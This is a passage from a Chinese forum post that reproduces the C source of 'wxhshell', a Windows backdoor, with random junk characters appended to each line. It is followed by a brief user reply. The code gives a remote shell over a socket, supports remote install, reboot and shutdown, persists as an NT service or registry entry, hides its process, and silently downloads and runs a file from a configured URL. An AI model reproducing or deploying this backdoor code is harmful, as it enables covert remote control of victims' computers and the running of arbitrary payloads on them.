  else N7jRdT2k%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $tKATL*  
  } 1*jL2P]D  
  else { G_<[sMC8  
xXYens}  
    switch(cmd[0]) { cU6#^PFu  
  6;b 'j\jG  
  // 帮助 Iw:("A&~  
  case '?': { ;VH]TKkk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ["IJ h  
    break; ).S<{zm7  
  } y,>m#6hx#  
  // 安装 ]VH@\ f  
  case 'i': { )/AvWDKvO  
    if(Install()) (j I|F-i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /t^lI%&  
    else H44&u](8{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8JrGZ8Q4RM  
    break; T> 'Vaxo  
    } 9C 05  
  // 卸载 16Y~5JAc  
  case 'r': { #]N9/Hij#g  
    if(Uninstall()) *!/#39  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ju[`Qw`I  
    else 4~Pto f@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rqz()M  
    break; 7 tpZE+OX  
    } 2ML6Lkk  
  // 显示 wxhshell 所在路径 3ky+qoe  
  case 'p': { sN}@b8o@  
    char svExeFile[MAX_PATH]; M\6`2q  
    strcpy(svExeFile,"\n\r"); UhTr<(@  
      strcat(svExeFile,ExeFile); @/(7kh +  
        send(wsh,svExeFile,strlen(svExeFile),0); x=#5\t9  
    break; Umt ia~x=&  
    } $:N "*  
  // 重启 cZzZNGY^ts  
  case 'b': { q$rA-`jw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^ks^9*'|j  
    if(Boot(REBOOT)) ^z;,deoGh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {:X];A$  
    else { PcHFj+:  
    closesocket(wsh); I{I [N &N  
    ExitThread(0); y;Ln ao7i  
    } kw:D~E (  
    break; 8#u_+;,p  
    } ee^_Dh4  
  // 关机 Kn$1W=B1.  
  case 'd': { da'E"HN@G~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AJd.K'=8  
    if(Boot(SHUTDOWN)) 2rtP.*dd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m=,c,*>  
    else { $#FlnM<=  
    closesocket(wsh); 5@ +Ei25  
    ExitThread(0); g Pj0H&,.  
    } o>-v?Ug  
    break; :_a]T-GL  
    } cloSJmUlQ  
  // 获取shell tB=D&L3  
  case 's': { ;6txTcn`=  
    CmdShell(wsh); vW-`=30  
    closesocket(wsh); },aWCvJL  
    ExitThread(0); L{A-0Ffh  
    break; M6*{#Y?  
  } ^MHn2Cv/~  
  // 退出 sVdK^|j  
  case 'x': { ^r_lj$:+$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tZ j,A%<  
    CloseIt(wsh); ![]I%'s  
    break; uBq3.+,x*  
    } &:I +]G/W  
  // 离开 y*b.eO  
  case 'q': { 5 t`ap  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .7gE^  
    closesocket(wsh); J-\?,4mcP  
    WSACleanup(); _+ 04M)q0  
    exit(1); t<k [W'#  
    break; <I%9O:R  
        } B%J%TR_  
  } 4<Sa,~4  
  } .`& /QiD  
RjGB#AK  
  // 提示信息 nlebFDb7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )uid!d  
} soq".+Q  
  } =8~R $z%  
<VaMUm<2  
  return; _/ }6  
} IbJ[Og^Qyu  
#>:(#^Uu  
// shell模块句柄 CFJjh^ ~=  
int CmdShell(SOCKET sock) \;*}zX  
{ oCKM5AVWsv  
STARTUPINFO si; uB <F.!3  
ZeroMemory(&si,sizeof(si)); |[37:m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H : T N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O GFE*  
PROCESS_INFORMATION ProcessInfo; (HaKF7Jsi  
char cmdline[]="cmd"; E!I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mheU#&|  
  return 0; .FKJ yzL  
} D=~B7b:  
-N7xO)  
// 自身启动模式 2b#(X'ob  
int StartFromService(void) mUt,Z^ l`  
{ $,;S\JmWP  
typedef struct O*rmD<L$  
{ zvGK6qCk  
  DWORD ExitStatus; '8l yj&  
  DWORD PebBaseAddress; t[?a @S~6  
  DWORD AffinityMask; ~n/Aq*  
  DWORD BasePriority; :6W^ S/pf  
  ULONG UniqueProcessId; {,Bb"0 \  
  ULONG InheritedFromUniqueProcessId;   ^RV  
}   PROCESS_BASIC_INFORMATION; M 20Bc,VI  
}(ma__Ao  
PROCNTQSIP NtQueryInformationProcess; |}M0,AS  
>:jM}*dnL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7!r#(>I6?1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $7UoL,N>  
&"[)s[m+t  
  HANDLE             hProcess; Q54r?|'V  
  PROCESS_BASIC_INFORMATION pbi; DikdC5>O>m  
 dd<:#c9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `S\zqF<  
  if(NULL == hInst ) return 0; m Ztv G,  
*#1y6^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NfTCp A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3I"NI.>*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zLsb`)!  
E.J 0fwyT  
  if (!NtQueryInformationProcess) return 0; <&5m N  
skIiJ'db  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KdT[*-  
  if(!hProcess) return 0; yB,{#nM>8  
<vB<`   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fB~O |g  
bmOqeUgB  
  CloseHandle(hProcess); V @D]bV@4  
r{\BbUnf)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XXW]0{k:y  
if(hProcess==NULL) return 0; NunV8atn:  
:)#hrFp  
HMODULE hMod; "l@A[@R  
char procName[255]; ;gDMl57PQ.  
unsigned long cbNeeded; D|d4:;7  
KD% TxK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .u1X+P7  
Vb@ 4(Q  
  CloseHandle(hProcess); mZ~qG5@/F  
7}be>(  
if(strstr(procName,"services")) return 1; // 以服务启动 7J9l.cM3  
-2F@~m|  
  return 0; // 注册表启动 |3}5:k  
} QsiJ%O Q  
;%' b;+  
// 主模块 ^P`NMSw  
int StartWxhshell(LPSTR lpCmdLine) X ZS5B~E '  
{ P|e`^Frxt  
  SOCKET wsl; 43zUN  
BOOL val=TRUE; M`GP^Ta  
  int port=0; LA-_3UJx  
  struct sockaddr_in door; xS'zZ%?  
ddsUz1%l  
  if(wscfg.ws_autoins) Install(); UVB/vqGg  
.~3kGf":  
port=atoi(lpCmdLine); Q1Ux!$_  
^ [k0k(_  
if(port<=0) port=wscfg.ws_port; Z@3l%p6V  
NbtGlSs8  
  WSADATA data; |h}B{D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x(8n 9Q>  
;54(+5pqx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BQ#3QL't  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @mf({Q>  
  door.sin_family = AF_INET; t<nFy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sk:2+inU  
  door.sin_port = htons(port); wW:7y>z)  
"O*x' XhN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5IW8=$k~.)  
closesocket(wsl); c<wavvfUo  
return 1; Yd:Q`#7A  
} >3 l=*|9  
y4@gGC=  
  if(listen(wsl,2) == INVALID_SOCKET) { {.st`n|xz  
closesocket(wsl); t9FDU  
return 1; fc@'9- pt  
} ;QBh;jg4  
  Wxhshell(wsl); fkjeR B  
  WSACleanup(); $5AC1g'  
[4*1}}gW%5  
return 0; !aPD}xCH#  
5t\HJ`C1Z  
} vE%s, E,  
RRADg^}l|"  
// 以NT服务方式启动 FJeiY#us  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^T6S()G  
{ s~^}F+n  
DWORD   status = 0; A`[@ 8  
  DWORD   specificError = 0xfffffff; rn8cdM N  
f'X9HU{Cz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /c`^iPb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5.vG^T0w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s"%lFA"-  
  serviceStatus.dwWin32ExitCode     = 0; ZF6c{~D  
  serviceStatus.dwServiceSpecificExitCode = 0; LY 0]l$  
  serviceStatus.dwCheckPoint       = 0; 9CJ(Z+;OM  
  serviceStatus.dwWaitHint       = 0; qnChM ;)  
:@eHX&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); , sjh^-;  
  if (hServiceStatusHandle==0) return; LlHa5]E@6  
*27*>W1  
status = GetLastError(); ^{F_ a  
  if (status!=NO_ERROR) &xXEnV  
{ e(?]SU|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D+JAK!W  
    serviceStatus.dwCheckPoint       = 0; wi_'iv  
    serviceStatus.dwWaitHint       = 0; > Lft9e   
    serviceStatus.dwWin32ExitCode     = status; aUc|V{Jp  
    serviceStatus.dwServiceSpecificExitCode = specificError; (UL4+ta  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E5</h"1  
    return; lk3=4|?zsE  
  } MSw$_d  
oDn|2Sdqd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #wY0D_3@1  
  serviceStatus.dwCheckPoint       = 0; j$Ab>}g]  
  serviceStatus.dwWaitHint       = 0; T/pqSmVpM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @WMA}\Cc  
} ,ho3  
Jrxz'9qRG  
// 处理NT服务事件,比如:启动、停止 ?QZ"JX])  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %}-?bHB1c  
{ JH8}Ru%Z  
switch(fdwControl) a,o_`s<  
{ 0I{gJSK.,  
case SERVICE_CONTROL_STOP: #eN{!Niy&U  
  serviceStatus.dwWin32ExitCode = 0; ql GW.jY.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q\rC5gk >  
  serviceStatus.dwCheckPoint   = 0; CdUAy|!`R  
  serviceStatus.dwWaitHint     = 0; !;Jmg  
  { '&99?s`u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9=,uq;  
  } kSc{^-<R  
  return; f,z P*  
case SERVICE_CONTROL_PAUSE: O,<IGO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; " v}pdUW  
  break; KvQ,;A  
case SERVICE_CONTROL_CONTINUE: \*\R1_+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >2 3-  
  break; SI_iI71  
case SERVICE_CONTROL_INTERROGATE: F/1#l@qN  
  break; eh*6cQ.0  
}; QR">.k4QJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l/y]nw  
} 6r"u$i` o  
Ro=AADv@  
// 标准应用程序主函数 0e[d=)XG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cv)/7vyB8  
{ #,(sAj  
NA$zd(  
// 获取操作系统版本 `d2,*KR  
OsIsNt=GetOsVer(); mfny4R1_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I =Wc&1g  
g`k?AM\  
  // 从命令行安装 >%Ee#m  
  if(strpbrk(lpCmdLine,"iI")) Install(); rs=q! P"u[  
CnN9!~]"  
  // 下载执行文件 fWGOP~0  
if(wscfg.ws_downexe) { _)$PKOzbb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QIB>rQCceo  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ovw[b2ii  
} -V % gVI[  
v=I|O%  
if(!OsIsNt) { ]+DI.%   
// 如果时win9x,隐藏进程并且设置为注册表启动 ~Z$bf>[(R7  
HideProc(); uqyB5V0gh  
StartWxhshell(lpCmdLine); K:y^OAZfV  
} $!A:5jech  
else l]2r)!Q7  
  if(StartFromService()) rAdacnZV  
  // 以服务方式启动 =wi*Nd7L  
  StartServiceCtrlDispatcher(DispatchTable); n uQM^2  
else Z< b"`ty.  
  // 普通方式启动 7@%'wy&A  
  StartWxhshell(lpCmdLine); t@?u  
7yI @"c#O  
return 0; |4Ck;gg!j  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八